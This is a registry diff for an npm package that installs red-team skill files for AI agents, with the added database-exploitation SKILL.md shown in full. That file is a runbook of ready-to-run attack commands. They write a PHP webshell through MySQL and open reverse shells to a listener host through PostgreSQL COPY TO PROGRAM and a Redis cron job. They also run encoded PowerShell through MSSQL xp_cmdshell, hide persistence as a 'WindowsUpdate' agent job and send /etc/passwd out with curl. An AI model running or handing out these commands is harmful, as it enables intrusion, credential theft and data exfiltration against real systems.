rtexit-method 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (224) hide show
  1. package/package.json +9 -7
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/commands/install.js +0 -1
  202. package/tools/installer/lib/asset-manifest.js +10 -5
  203. package/tools/installer/lib/banner.js +14 -6
  204. package/tools/installer/lib/copy-assets.js +5 -2
  205. package/tools/installer/lib/prompts.js +1 -11
  206. package/tools/installer/lib/write-config.js +8 -2
  207. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  210. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  211. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  212. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  213. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  214. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  215. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  216. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  217. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  218. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  219. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  221. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  222. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  223. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  224. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,1374 @@
1
+ ---
2
+ name: rt-exploit-databases
3
+ description: "Master database exploitation skill routing to specific DB techniques. Covers MySQL (SQLi, UDF RCE, INTO OUTFILE), PostgreSQL (COPY TO PROGRAM RCE, pg_largeobject), MSSQL (xp_cmdshell, linked servers, agent jobs), MongoDB (NoSQL injection, authentication bypass), Redis (CONFIG SET RCE, Lua scripting), Elasticsearch (unauthenticated data dump, CVEs), and Firebase (open rules, unauthorized access)."
4
+ ---
5
+
6
+ # rt-exploit-databases
7
+
8
+ ## Overview
9
+
10
+ Database exploitation is a high-value phase in red team engagements. Databases store credentials, PII, business logic, and often provide pathways to OS-level command execution. This skill covers the full spectrum — from initial SQL injection discovery through to RCE via database-native mechanisms.
11
+
12
+ **When to use this skill:**
13
+ - You have confirmed database connectivity (direct port access, SQLi in app, or credentials found during credential hunting)
14
+ - You need to escalate from database access to OS command execution
15
+ - You are enumerating sensitive data (passwords, PII, business data) for impact demonstration
16
+ - You are moving laterally through linked database servers
17
+ - You found an unauthenticated database exposed to the internet
18
+
19
+ **Database types covered:**
20
+ | DB | Primary Attack Vector | RCE Path |
21
+ |----|----------------------|-----------|
22
+ | MySQL | SQLi, UDF loading | UDF, INTO OUTFILE webshell |
23
+ | PostgreSQL | SQLi, misconfig | COPY TO/FROM PROGRAM |
24
+ | MSSQL | SQLi, xp_cmdshell | xp_cmdshell, Agent Jobs |
25
+ | MongoDB | NoSQL injection | Authentication bypass |
26
+ | Redis | Unauthenticated access | CONFIG SET, Lua scripting |
27
+ | Elasticsearch | HTTP API | Unauthenticated data dump |
28
+ | Firebase | Misconfigured rules | Unauthorized read/write |
29
+
30
+ ---
31
+
32
+ ## Prerequisites and Setup
33
+
34
+ ### Required Tools
35
+
36
+ ```bash
37
+ # Core database clients
38
+ sudo apt install mysql-client postgresql-client mssql-tools redis-tools
39
+
40
+ # Exploitation frameworks
41
+ pip3 install sqlmap impacket
42
+ git clone https://github.com/n00py/LPEScripts # Linux privilege escalation via DB
43
+ git clone https://github.com/NetSPI/PowerUpSQL # MSSQL enumeration
44
+
45
+ # NoSQL tools
46
+ pip3 install pymongo
47
+ npm install -g nosqlmap
48
+
49
+ # Redis exploitation
50
+ git clone https://github.com/n0b0dyCN/redis-rogue-server
51
+ git clone https://github.com/Ridter/redis-rce
52
+
53
+ # Firebase tools
54
+ npm install -g firebase-tools
55
+ pip3 install firebaseEnum
56
+
57
+ # Elasticsearch
58
+ pip3 install elasticsearch
59
+
60
+ # General HTTP
61
+ sudo apt install curl jq
62
+ ```
63
+
64
+ ### Environment Setup
65
+
66
+ ```bash
67
+ # Set target variables before starting (adjust per engagement)
68
+ export TARGET_IP="10.10.10.100"
69
+ export DB_PORT="3306" # Change per DB type
70
+ export DB_USER="root"
71
+ export DB_PASS="password"
72
+ export LHOST="10.10.14.5" # Your listener IP
73
+ export LPORT="4444"
74
+
75
+ # Create output directory
76
+ mkdir -p ~/engagements/$(date +%Y%m%d)/db-exploit
77
+ export OUTDIR=~/engagements/$(date +%Y%m%d)/db-exploit
78
+ ```
79
+
80
+ ---
81
+
82
+ ## Skill Levels
83
+
84
+ ### BEGINNER — Discovery and Basic Enumeration
85
+
86
+ Focus: Identify database type, version, basic data extraction.
87
+
88
+ ```bash
89
+ # Identify open database ports
90
+ nmap -sV -p 1433,1521,3306,5432,5984,6379,9200,27017,28017 $TARGET_IP -oN $OUTDIR/db-ports.txt
91
+
92
+ # MySQL: Basic connectivity test
93
+ mysql -h $TARGET_IP -u root -p'' -e "SELECT version();"
94
+ mysql -h $TARGET_IP -u root --password="" -e "SHOW DATABASES;"
95
+
96
+ # PostgreSQL: Basic connectivity
97
+ psql -h $TARGET_IP -U postgres -c "SELECT version();"
98
+ psql -h $TARGET_IP -U postgres -l # list databases
99
+
100
+ # MSSQL: Basic connectivity (requires mssql-tools)
101
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "SELECT @@version"
102
+
103
+ # MongoDB: Unauthenticated access check
104
+ mongo --host $TARGET_IP --port 27017 --eval "db.adminCommand({listDatabases:1})"
105
+
106
+ # Redis: Unauthenticated access check
107
+ redis-cli -h $TARGET_IP ping
108
+ redis-cli -h $TARGET_IP info server
109
+
110
+ # Elasticsearch: Check for open access
111
+ curl -s http://$TARGET_IP:9200/
112
+ curl -s http://$TARGET_IP:9200/_cat/indices?v
113
+
114
+ # Firebase: Check for open database rules
115
+ curl -s "https://TARGET-PROJECT.firebaseio.com/.json?shallow=true"
116
+ ```
117
+
118
+ ### INTERMEDIATE — Data Extraction and Privilege Escalation
119
+
120
+ Focus: Extract credentials, escalate within the database, write files.
121
+
122
+ ```bash
123
+ # MySQL: Extract credentials and attempt file write
124
+ mysql -h $TARGET_IP -u root -p -e "SELECT user, authentication_string FROM mysql.user;"
125
+ mysql -h $TARGET_IP -u root -p -e "SELECT @@secure_file_priv;"
126
+ mysql -h $TARGET_IP -u root -p -e "SELECT '<?php system(\$_GET[\"cmd\"]); ?>' INTO OUTFILE '/var/www/html/shell.php';"
127
+
128
+ # MySQL: Check for writable plugin directory
129
+ mysql -h $TARGET_IP -u root -p -e "SHOW VARIABLES LIKE 'plugin_dir';"
130
+
131
+ # PostgreSQL: Check current user privileges
132
+ psql -h $TARGET_IP -U postgres -c "SELECT current_user, session_user;"
133
+ psql -h $TARGET_IP -U postgres -c "SELECT rolsuper FROM pg_roles WHERE rolname=current_user;"
134
+
135
+ # MSSQL: Check existing stored procedures
136
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "SELECT name FROM sys.objects WHERE type='P' AND name='xp_cmdshell'"
137
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE;"
138
+
139
+ # SQLMap: Automated injection and extraction
140
+ sqlmap -u "http://TARGET/page?id=1" --dbs --batch
141
+ sqlmap -u "http://TARGET/page?id=1" -D targetdb --tables --batch
142
+ sqlmap -u "http://TARGET/page?id=1" -D targetdb -T users --dump --batch
143
+
144
+ # MongoDB: Extract all collections
145
+ mongo --host $TARGET_IP --eval "db.getMongo().getDBNames().forEach(function(d){print(d)})"
146
+ mongo --host $TARGET_IP/admin --eval "db.system.users.find().forEach(printjson)"
147
+ ```
148
+
149
+ ### ADVANCED — Remote Code Execution via Database
150
+
151
+ Focus: OS command execution, shell upload, persistence.
152
+
153
+ ```bash
154
+ # MySQL UDF RCE (see detailed section below)
155
+ # PostgreSQL COPY PROGRAM RCE
156
+ psql -h $TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned.txt'"
157
+ psql -h $TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"'"
158
+
159
+ # MSSQL xp_cmdshell
160
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC xp_cmdshell 'whoami'"
161
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC xp_cmdshell 'powershell -e BASE64PAYLOAD'"
162
+
163
+ # Redis RCE via cron
164
+ redis-cli -h $TARGET_IP config set dir /var/spool/cron/
165
+ redis-cli -h $TARGET_IP config set dbfilename root
166
+ redis-cli -h $TARGET_IP set x "\\n\\n*/1 * * * * bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\\n\\n"
167
+ redis-cli -h $TARGET_IP save
168
+ ```
169
+
170
+ ### EXPERT — Advanced Pivoting and Stealth Techniques
171
+
172
+ Focus: Linked server abuse, agent jobs, OPSEC-aware exploitation.
173
+
174
+ ```bash
175
+ # MSSQL: Linked server enumeration and abuse
176
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "SELECT name FROM sys.servers WHERE is_linked=1"
177
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC ('xp_cmdshell ''whoami''') AT [LINKED-SERVER]"
178
+
179
+ # MSSQL: SQL Server Agent job for persistence
180
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
181
+ USE msdb;
182
+ EXEC sp_add_job @job_name='WindowsUpdate';
183
+ EXEC sp_add_jobstep @job_name='WindowsUpdate', @step_name='run', @subsystem='CmdExec', @command='powershell -e PAYLOAD';
184
+ EXEC sp_add_schedule @schedule_name='Daily', @freq_type=4, @freq_interval=1, @active_start_time=10000;
185
+ EXEC sp_attach_schedule @job_name='WindowsUpdate', @schedule_name='Daily';
186
+ EXEC sp_add_jobserver @job_name='WindowsUpdate';
187
+ "
188
+
189
+ # PostgreSQL: pg_largeobject file read/write
190
+ psql -h $TARGET_IP -U postgres -c "SELECT lo_import('/etc/passwd');"
191
+ psql -h $TARGET_IP -U postgres -c "SELECT lo_export(16384, '/tmp/output.txt');"
192
+
193
+ # MySQL: External network connections via UDF (exfiltration)
194
+ # Use sys_exec UDF to call curl for data exfil
195
+ mysql -h $TARGET_IP -u root -p -e "SELECT sys_exec('curl -d @/etc/passwd http://$LHOST/exfil');"
196
+ ```
197
+
198
+ ---
199
+
200
+ ## Step-by-Step Workflows
201
+
202
+ ### Workflow 1: MySQL UDF RCE
203
+
204
+ User-Defined Functions (UDFs) allow loading native shared libraries into MySQL to execute OS commands.
205
+
206
+ **Step 1: Verify prerequisites**
207
+ ```bash
208
+ # Check MySQL version (UDF loading requires specific paths)
209
+ mysql -h $TARGET_IP -u root -p -e "SELECT version();"
210
+
211
+ # Check plugin directory location
212
+ mysql -h $TARGET_IP -u root -p -e "SHOW VARIABLES LIKE 'plugin_dir';"
213
+ # Expected: /usr/lib/mysql/plugin/
214
+
215
+ # Check secure_file_priv (must be empty or match plugin dir)
216
+ mysql -h $TARGET_IP -u root -p -e "SHOW VARIABLES LIKE 'secure_file_priv';"
217
+
218
+ # Verify current user has FILE privilege
219
+ mysql -h $TARGET_IP -u root -p -e "SHOW GRANTS FOR CURRENT_USER();"
220
+ ```
221
+
222
+ **Step 2: Obtain the UDF shared library**
223
+ ```bash
224
+ # Download pre-compiled UDF library (choose correct architecture)
225
+ # Source: https://github.com/mysqludf/lib_mysqludf_sys
226
+
227
+ # From sqlmap's UDF library (most reliable)
228
+ locate lib_mysqludf_sys.so # Linux
229
+ locate lib_mysqludf_sys.dll # Windows
230
+
231
+ # Alternatively compile from source
232
+ git clone https://github.com/mysqludf/lib_mysqludf_sys
233
+ cd lib_mysqludf_sys
234
+ make
235
+ # Produces: lib_mysqludf_sys.so
236
+
237
+ # Convert binary to hex for MySQL upload
238
+ xxd -p lib_mysqludf_sys.so | tr -d '\n' > udf.hex
239
+ ```
240
+
241
+ **Step 3: Upload UDF library via MySQL**
242
+ ```bash
243
+ # Method 1: INTO DUMPFILE (requires FILE privilege and writable plugin dir)
244
+ mysql -h $TARGET_IP -u root -p << 'EOF'
245
+ SET @udf = (SELECT hex(load_file('/tmp/lib_mysqludf_sys.so')));
246
+ -- Or embed hex directly:
247
+ SET @udf = 0x7f454c46...; -- paste hex content here
248
+ SELECT @udf INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
249
+ EOF
250
+
251
+ # Method 2: Using sqlmap automatic UDF injection
252
+ sqlmap -u "http://TARGET/page?id=1" --os-shell --technique=E
253
+
254
+ # Method 3: If you have direct MySQL access with root
255
+ mysql -h $TARGET_IP -u root -p -e "
256
+ SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
257
+ "
258
+ ```
259
+
260
+ **Step 4: Create the UDF function**
261
+ ```bash
262
+ mysql -h $TARGET_IP -u root -p << 'EOF'
263
+ CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
264
+ CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
265
+ EOF
266
+ ```
267
